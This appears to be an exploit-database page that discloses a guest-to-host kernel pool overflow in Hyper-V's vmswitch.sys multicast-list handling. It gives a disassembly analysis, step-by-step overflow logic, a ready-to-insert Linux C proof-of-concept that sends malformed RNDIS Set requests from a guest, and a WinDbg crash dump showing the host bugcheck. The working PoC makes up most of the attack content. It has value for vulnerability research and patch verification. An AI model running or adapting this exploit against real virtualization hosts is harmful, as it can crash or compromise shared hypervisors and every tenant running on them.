Home / exploits Hyper-V - vmswitch.sys VmsMpCommonPvtHandleMulticastOids Guest to Host Kernel-Pool Overflow
Posted on 30 November -0001
<HTML><HEAD><TITLE>Hyper-V - vmswitch.sys VmsMpCommonPvtHandleMulticastOids Guest to Host Kernel-Pool Overflow</TITLE><META http-equiv="Content-Type" content="text/html; charset=utf-8"></HEAD><BODY>/* This function is reachable by sending a RNDIS Set request with OID 0x01010209 (OID_802_3_MULTICAST_LIST) from the Guest to the Host. This function potentially allocates a buffer based on the addresses sent. The number of entries is determined by dividing the length of the data by 6: .text:000000000001D717 mov eax, 0AAAAAAABh .text:000000000001D71C mov r13b, 1 .text:000000000001D71F mul r14d .text:000000000001D722 mov ebp, edx .text:000000000001D724 shr ebp, 2 .text:000000000001D727 test ebp, ebp ; ebp=r14d//6 .text:000000000001D729 jz loc_31B04 .text:000000000001D72F .text:000000000001D72F loc_1D72F: ; CODE XREF: VmsMpCommonPvtHandleMulticastOids+144CEj .text:000000000001D72F cmp ebp, [rbx+0EE8h] .text:000000000001D735 jz loc_31B2B .text:000000000001D73B mov r8d, 'mcMV' ; Tag .text:000000000001D741 mov rdx, r14 ; NumberOfBytes .text:000000000001D744 mov ecx, 200h ; PoolType .text:000000000001D749 mov r12, r14 .text:000000000001D74C call cs:__imp_ExAllocatePoolWithTag .text:000000000001D752 mov r14, rax .text:000000000001D755 test rax, rax .text:000000000001D758 jz loc_1D7E8 .text:000000000001D75E mov r8, r12 ; Size .text:000000000001D761 mov rdx, r15 ; Src .text:000000000001D764 mov rcx, rax ; Dst .text:000000000001D767 call memmove An interesting test is located at 0x1D72F. If the number of entries is identical to the currently stored one, then we jump to this piece of code: .text:0000000000031B2B loc_31B2B: ; CODE XREF: VmsMpCommonPvtHandleMulticastOids+F5j .text:0000000000031B2B mov rcx, [rbx+0EE0h] ; Dst .text:0000000000031B32 mov r8, r14 ; Size .text:0000000000031B35 mov rdx, r15 ; Src .text:0000000000031B38 call memmove Note that the size of the copy operation is the size of the data. As the division is dropping the remainder component, we can overflow the allocation by 1 to 5 bytes doing the following: - call this function with data of size 6*x - call this function again with size 6*x+y with 1<=y<=5 - then 6*x bytes will be allocated and stored at 0xee0 - and x will be saved at 0xee8; - x will be compared with what is at 0xee8 - being equal it will proceed copying 6*x+y in a buffer of 6*x bytes at 0xee0 If exploited successfully (not sure if it's doable), it would lead to code execution in the context of the Host R0. Please note that this issue has been silently fixed in Windows Server 2016 TP4 (and maybe prior). PoC (put it and call it somewhere useful in rndis_filter.c): */ static int rndis_pool_overflow(struct rndis_device *rdev) { int ret; struct net_device *ndev = rdev->net_dev->ndev; struct rndis_request *request; struct rndis_set_request *set; struct rndis_set_complete *set_complete; u32 extlen = 16 * 6; unsigned long t; request = get_rndis_request( rdev, RNDIS_MSG_SET, RNDIS_MESSAGE_SIZE(struct rndis_set_request) + extlen); if (!request) return -ENOMEM; set = &request->request_msg.msg.set_req; set->oid = 0x01010209; // OID_802_3_MULTICAST_LIST set->info_buflen = extlen; set->info_buf_offset = sizeof(struct rndis_set_request); set->dev_vc_handle = 0; ret = rndis_filter_send_request(rdev, request); if (ret != 0) goto cleanup; t = wait_for_completion_timeout(&request->wait_event, 5*HZ); if (t == 0) return -ETIMEDOUT; else { set_complete = &request->response_msg.msg.set_complete; if (set_complete->status != RNDIS_STATUS_SUCCESS) { printk(KERN_INFO "failed to set multicast list: 0x%x ", set_complete->status); ret = -EINVAL; } } put_rndis_request(rdev, request); request = get_rndis_request(rdev, RNDIS_MSG_SET, RNDIS_MESSAGE_SIZE(struct rndis_set_request) + extlen + 5); if (!request) return -ENOMEM; set = &request->request_msg.msg.set_req; set->oid = 0x01010209; // OID_802_3_MULTICAST_LIST set->info_buflen = extlen + 5; set->info_buf_offset = sizeof(struct rndis_set_request); set->dev_vc_handle = 0; ret = rndis_filter_send_request(rdev, request); if (ret != 0) goto cleanup; t = wait_for_completion_timeout(&request->wait_event, 5*HZ); if (t == 0) return -ETIMEDOUT; else { set_complete = &request->response_msg.msg.set_complete; if (set_complete->status != RNDIS_STATUS_SUCCESS) { printk(KERN_INFO "failed to set multicast list: 0x%x ", set_complete->status); ret = -EINVAL; } } cleanup: put_rndis_request(rdev, request); return ret; } /* Crash dump (with Special Pool enabled for vmswitch.sys): 7: kd> !analyze -v ******************************************************************************* * * * Bugcheck Analysis * * * ******************************************************************************* DRIVER_IRQL_NOT_LESS_OR_EQUAL (d1) An attempt was made to access a pageable (or completely invalid) address at an interrupt request level (IRQL) that is too high. This is usually caused by drivers using improper addresses. If kernel debugger is available get stack backtrace. Arguments: Arg1: ffffcf81085c9000, memory referenced Arg2: 0000000000000002, IRQL Arg3: 0000000000000001, value 0 = read operation, 1 = write operation Arg4: fffff8005fad3249, address which referenced memory Debugging Details: ------------------ DUMP_CLASS: 1 DUMP_QUALIFIER: 401 BUILD_VERSION_STRING: 9600.18146.amd64fre.winblue_ltsb.151121-0600 ... BASEBOARD_VERSION: DUMP_TYPE: 1 BUGCHECK_P1: ffffcf81085c9000 BUGCHECK_P2: 2 BUGCHECK_P3: 1 BUGCHECK_P4: fffff8005fad3249 WRITE_ADDRESS: ffffcf81085c9000 Special pool CURRENT_IRQL: 2 FAULTING_IP: vmswitch!memcpy+49 fffff800`5fad3249 8841ff mov byte ptr [rcx-1],al CPU_COUNT: 8 CPU_MHZ: c88 CPU_VENDOR: GenuineIntel CPU_FAMILY: 6 CPU_MODEL: 1a CPU_STEPPING: 4 CPU_MICROCODE: 6,1a,4,0 (F,M,S,R) SIG: 11'00000000 (cache) 11'00000000 (init) DEFAULT_BUCKET_ID: WIN8_DRIVER_FAULT BUGCHECK_STR: AV PROCESS_NAME: System ANALYSIS_SESSION_HOST: KOSTYAK-G7700 ANALYSIS_SESSION_TIME: 12-31-2015 21:26:14.0206 ANALYSIS_VERSION: 10.0.10586.567 amd64fre TRAP_FRAME: ffffd00187f46840 -- (.trap 0xffffd00187f46840) NOTE: The trap frame does not contain all registers. Some register values may be zeroed or incorrect. rax=0000000055555500 rbx=0000000000000000 rcx=ffffcf81085c9001 rdx=0000000000001fc0 rsi=0000000000000000 rdi=0000000000000000 rip=fffff8005fad3249 rsp=ffffd00187f469d8 rbp=0000000000000010 r8=0000000000000004 r9=0000000000000000 r10=0000000000000000 r11=ffffcf81085c8fa0 r12=0000000000000000 r13=0000000000000000 r14=0000000000000000 r15=0000000000000000 iopl=0 nv up ei pl nz na pe nc vmswitch!memcpy+0x49: fffff800`5fad3249 8841ff mov byte ptr [rcx-1],al ds:ffffcf81`085c9000=?? Resetting default scope LAST_CONTROL_TRANSFER: from fffff8038a3633e9 to fffff8038a3578a0 STACK_TEXT: ffffd001`87f466f8 fffff803`8a3633e9 : 00000000`0000000a ffffcf81`085c9000 00000000`00000002 00000000`00000001 : nt!KeBugCheckEx ffffd001`87f46700 fffff803`8a361c3a : 00000000`00000001 ffffe000`57002000 ffffd001`87f46900 00000000`00000004 : nt!KiBugCheckDispatch+0x69 ffffd001`87f46840 fffff800`5fad3249 : fffff800`5fad9b3d ffffe000`57002000 00000000`0000000c ffffe000`57002000 : nt!KiPageFault+0x23a ffffd001`87f469d8 fffff800`5fad9b3d : ffffe000`57002000 00000000`0000000c ffffe000`57002000 ffffd001`87f46b00 : vmswitch!memcpy+0x49 ffffd001`87f469e0 fffff800`5fac4792 : 00000000`00000000 ffffd001`87f46ac0 00000000`01000400 ffffe000`57002000 : vmswitch!VmsMpCommonPvtHandleMulticastOids+0x144fd ffffd001`87f46a60 fffff800`5fac3dc4 : 00000000`c00000bb 00000000`01010209 ffffcf81`06b62c78 00000000`000000d0 : vmswitch!VmsMpCommonPvtSetRequestCommon+0x13e ffffd001`87f46af0 fffff800`5fac3cf9 : ffffcf81`06b62b00 00000000`00000000 fffff800`5fac3a20 ffffe000`53d8d880 : vmswitch!VmsMpCommonSetRequest+0xa4 ffffd001`87f46b60 fffff800`5fac3e8b : 00000000`00000000 fffff800`00000000 ffffe000`57005c10 ffff68b8`dcfa8dfd : vmswitch!VmsVmNicPvtRndisDeviceSetRequest+0x55 ffffd001`87f46bb0 fffff800`5fac3aa3 : ffffe000`570c5f70 ffffe000`53d8d9c0 ffffe000`53d8d880 fffff803`8a29b9f9 : vmswitch!RndisDevHostHandleSetMessage+0x77 ffffd001`87f46bf0 fffff803`8a2ee2a3 : ffffcf81`06b58fb0 ffffe000`57005c10 00000000`00000000 ffffe000`00000000 : vmswitch!RndisDevHostControlMessageWorkerRoutine+0x83 ffffd001`87f46c20 fffff803`8a2984bf : fffff800`5e842e00 fffff803`8a2ee1a8 ffffe000`53d8d880 00000000`00000000 : nt!IopProcessWorkItem+0xfb ffffd001`87f46c90 fffff803`8a305554 : 00000000`00000000 ffffe000`53d8d880 00000000`00000080 ffffe000`53d8d880 : nt!ExpWorkerThread+0x69f ffffd001`87f46d40 fffff803`8a35dec6 : ffffd001`88741180 ffffe000`53d8d880 ffffd001`8874d3c0 00000000`00000000 : nt!PspSystemThreadStartup+0x58 ffffd001`87f46da0 00000000`00000000 : ffffd001`87f47000 ffffd001`87f41000 00000000`00000000 00000000`00000000 : nt!KiStartSystemThread+0x16 STACK_COMMAND: kb THREAD_SHA1_HASH_MOD_FUNC: abaf49d1b3c5b02fccc8786e1ffe670ffc7abc52 THREAD_SHA1_HASH_MOD_FUNC_OFFSET: 95f6cd8078b8f21385352dcdeabdb4de53e87ac0 THREAD_SHA1_HASH_MOD: 7e0f522feda778d9b7c0da52391383d6f8569ca6 FOLLOWUP_IP: vmswitch!memcpy+49 fffff800`5fad3249 8841ff mov byte ptr [rcx-1],al FAULT_INSTR_CODE: 75ff4188 SYMBOL_STACK_INDEX: 3 SYMBOL_NAME: vmswitch!memcpy+49 FOLLOWUP_NAME: MachineOwner MODULE_NAME: vmswitch IMAGE_NAME: vmswitch.sys DEBUG_FLR_IMAGE_TIMESTAMP: 55c21a2e BUCKET_ID_FUNC_OFFSET: 49 FAILURE_BUCKET_ID: AV_VRF_vmswitch!memcpy BUCKET_ID: AV_VRF_vmswitch!memcpy PRIMARY_PROBLEM_CLASS: AV_VRF_vmswitch!memcpy TARGET_TIME: 2016-01-01T05:23:07.000Z OSBUILD: 9600 OSSERVICEPACK: 0 SERVICEPACK_NUMBER: 0 OS_REVISION: 0 SUITE_MASK: 272 PRODUCT_TYPE: 3 OSPLATFORM_TYPE: x64 OSNAME: Windows 8.1 OSEDITION: Windows 8.1 Server TerminalServer SingleUserTS OS_LOCALE: USER_LCID: 0 OSBUILD_TIMESTAMP: 2015-11-21 08:42:09 BUILDDATESTAMP_STR: 151121-0600 BUILDLAB_STR: winblue_ltsb BUILDOSVER_STR: 6.3.9600.18146.amd64fre.winblue_ltsb.151121-0600 ANALYSIS_SESSION_ELAPSED_TIME: 465 ANALYSIS_SOURCE: KM FAILURE_ID_HASH_STRING: km:av_vrf_vmswitch!memcpy FAILURE_ID_HASH: {f6dcfc99-d58f-1ff6-59d1-7239f62b292b} Followup: MachineOwner --------- */ </BODY></HTML>